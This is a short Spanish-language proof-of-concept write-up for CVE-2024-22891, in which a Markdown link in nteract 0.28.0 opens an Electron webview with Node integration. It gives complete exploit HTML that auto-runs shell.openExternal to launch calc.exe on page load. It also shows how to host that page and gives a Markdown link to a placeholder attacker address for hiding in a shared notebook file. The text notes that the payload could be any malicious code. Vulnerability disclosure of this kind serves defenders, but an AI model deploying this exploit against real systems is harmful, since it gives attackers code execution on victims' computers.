
nteract 0.28.0 explotación de redirección abierta a RCE
Una prueba de concepto para la vulnerabilidad CVE-2024-22891.
nteract 0.28.0 permite webview de Electron a través de enlace Markdown, con la consiguiente ejecución remota de código.
nteract 0.28.0 permite webview de Electron a través de enlace Markdown, con la consiguiente ejecución remota de código (porque nodeIntegration en webPreferences es verdadero).
Explicación del exploit
Paso 1) El atacante crea un servidor con el código fuente para iniciar calc.exe usando la función openExternal().
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
Nota: ※ Si quieres probarlo rápidamente, crea un servidor en el PC del atacante con el siguiente código.
$ python -m http.server 80
Paso 2) Ejecuta la aplicación nteract en el sistema de la víctima y crea un enlace Markdown, o comparte el archivo ipynb del atacante como código de ejemplo. Luego, ejecuta calc.exe.
[Read This] (http://[attcker_adress]/shard_data.html)

Al ejecutar un archivo .ipynb mediante uso compartido de archivos, tenga cuidado, ya que el enlace puede no ser visible.Este calc.exe podría haber sido cualquier carga maliciosa local o remota que podría haber dado al atacante acceso completo al sistema de la víctima.